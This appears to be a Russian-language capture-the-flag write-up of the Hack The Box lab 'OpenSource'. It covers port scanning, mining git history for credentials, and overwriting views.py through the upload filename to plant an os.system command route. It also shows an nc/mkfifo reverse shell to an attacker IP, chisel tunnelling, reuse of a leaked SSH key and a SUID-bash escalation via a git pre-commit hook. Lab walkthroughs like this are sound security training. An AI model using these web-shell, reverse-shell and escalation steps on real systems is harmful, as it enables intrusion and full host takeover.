В этой статье рассмотрим прохождение уязвимой машины OpenSource Hack The Box, в рамках которой будем взламывать удаленных хост через Git и поднимать привилегии используя одну из техник GTFOBins.
Еще по теме: Как взломать сайт WordPress
Лучше подключаться к машине HTB с помощью VPN. И желательно не делать это со своего личного компа, на котором хранится чувствительная информация. Читай «Как подключиться и использовать Hack The Box».
Взлом удаленного хоста через Git и привилегии с GTFOBins
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.164 opensource.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Для этого отлично подходит популярный сканер Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. Первый производит просто быстрое сканирование, второй — глубокое сканирование, используя имеющиеся скрипты (опция —A)
Сканер смог найти только два открытых порта:
- 22 — служба OpenSSH 7.6p1
- 80 — веб‑сервер Python Werkzeug 2.1.2; а
Также фильтрующийся порт 3000. Взглянем на веб-сервер.
Находим ссылку на файл. Исходя из названия можно догадаться, что это какой-то исходный код.
В архиве лежит каталог .git, который стоит изучить.
Распаковываем его и заходим в директорию, содержащую репозиторий Git. После чего рассмотрим существующие ветки.
1 |
git branch |
Далее получаем историю коммитов. Рассмотрим ее получше.
1 |
git log dev |
Теперь просматриваем каждый коммит в надежде найти важные данные. И в одном из них обнаруживаем URL прокси‑сервера с указанными учетными данными.
1 |
git show a76f8f75f7a4a12b706b0cf9c983796fa1985820 |
Больше в репозитории ничего не находим, поэтому начинаем изучать исходный код приложения.
Как видите, мы можем загружать файлы с любым расширением. Сразу бросается в глаза функция os.path.join — строка 14. Последовательность ../ фильтруется, что не позволит записать свой SSH-ключ пользователю, даже если мы узнаем путь. Однако файл сохраняется с тем же именем без всяких временных меток, что дает нам возможность перезаписывать существующие файлы.
Давайте попробуем перезаписать текущий файл, добавив в его конец свой обработчик, к примеру /ralf.
1 2 3 |
@app.route('/ralf') def ralf(): return os.system(request.args.get('cmd')) |
Ссылку на страницу для загрузки файла найдем чуть ниже кнопки скачивания репозитория.
Загрузим наш новый файл view.py и перехватим запрос на загрузку в Burp Intercept.
Для перезаписи файла изменим filename и вместо views.py запишем полный путь к этому файлу:
1 |
/app/app/views.py |
Когда все будет готово, отправим запрос дальше на сервер.
На странице получим сообщение, что загрузка прошла успешно.
Теперь мы можем выполнять команды и сразу попробуем запустить реверс‑шелл:
1 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4321 >/tmp/f |
Я выполнял запрос через curl, поэтому мне нужно было закодировать реверс‑шелл в кодировку URL. Burp Encoder закодирует абсолютно все символы, а не только специальные. Это не очень удобно, поэтому я просто вставляю текст в Burp Repeater и кодирую комбинацией клавиш Ctrl-U. Однако сгодится и любой другой метод.
1 |
curl 'http://opensource.htb/ralf?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4321 >/tmp/f' |
1 |
curl 'http://opensource.htb/ralf?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.49+4321+>/tmp/f' |
Осталось командой rlwrap -cAr nc -lnvp 4321 запустить листенер и выполнить команду для запуска реверс‑шелла.
По имени пользователя понимаем, что находимся внутри контейнера Docker. Дальнейший путь продвижения долго искать не приходится: вспоминаем про фильтрацию подключений к порту 3000.
Сначала проверим адрес докер‑машины, а потом уже попробуем подключиться к порту 3000 хостовой.
Для удобной работы через браузер нам нужно туннелировать трафик. Я буду использовать chisel, который нужно запустить как на локальном хосте, в качестве сервера, так и на удаленном — как клиент.
В параметре серверной части указываем, что ожидаем подключения (параметры --reverse), а также порт для создания туннеля.
1 |
chisel.bin server --reverse --port 8000 |
Теперь на удаленной машине инициализируем клиентскую часть. В параметрах указываем адрес сервера chisel и порт для подключения, а также настройки проксирования.
1 |
chisel.bin client 10.10.14.49:8000 R:3000:172.17.0.1:3000 |
В логах сервера должны увидеть сообщение о создании сессии.
Таким образом, весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 172.17.0.1) через докер‑машину.
Теперь откроем сайт в браузере и увидим Git.
Воспользовавшись учетными данными, которые мы нашли в репозитории, авторизуемся на сайте.
Переходим к единственному доступному репозиторию и видим бэкап домашнего каталога пользователя.
Конечно же, нас интересует приватный ключ SSH.
Копируем его на локальный хост, командо:
1 |
chmod 0600 id_rsa |
Назначаем необходимые права и подключаемся с этим ключом уже к основному хосту.
Первым делом я, как обычно, поискал все сомнительные настройки и пользовательские скрипты с помощью многократно упоминавшегося в моих райтапах LinPEAS, но ничего не нашел.
Следующий шаг — мониторинг запускаемых приложений. Чтобы найти запускаемые в системе процессы, будем использовать утилиту pspy64. Загрузим ее на хост при помощи wget, а потом выполним.
В выводе отмечаем использование команды git, причем от имени привилегированного пользователя (нулевой UID — это root).
Тут я обратился к GTFOBins. Это база техник, которые позволяют повысить привилегии при помощи стандартных приложений Linux.
В частности, есть техника использования Git, которая позволяет получить стабильную оболочку в привилегированном контексте. Нам она подходит, только вместо контекста sudo у нас будет контекст пользователя root.
Здесь используется перехватчик Git, который связан с pre-commit. То есть мы можем записать свой скрипт в файл:
1 |
~/.git/hooks/pre-commit |
И код выполнится при выполнении команды git commit. В качестве метода персистентности будем устанавливать S-бит файлу командной оболочки /bin/bash.
1 2 |
# echo "chmod u+s /bin/bash" >> ~/.git/hooks/pre-commit mv ~/.git/hooks/pre-commit.sample ~/.git/hooks/pre-commit |
Справка: бит SUID
Когда у файла установлен атрибут setuid ( S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса.
После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Как видите, S-бит установлен, поэтому повышаем контекст и забираем флаг.
1 |
/bin/bash -p |
Мы взломали удаленный хост через Git и подняли привилегии с GTFOBins.
РЕКОМЕНДУЕМ:
- Взлом репозитория GitHub с помощью GitHub Dorks
- Как удалить чувствительную информацию из репозитория Git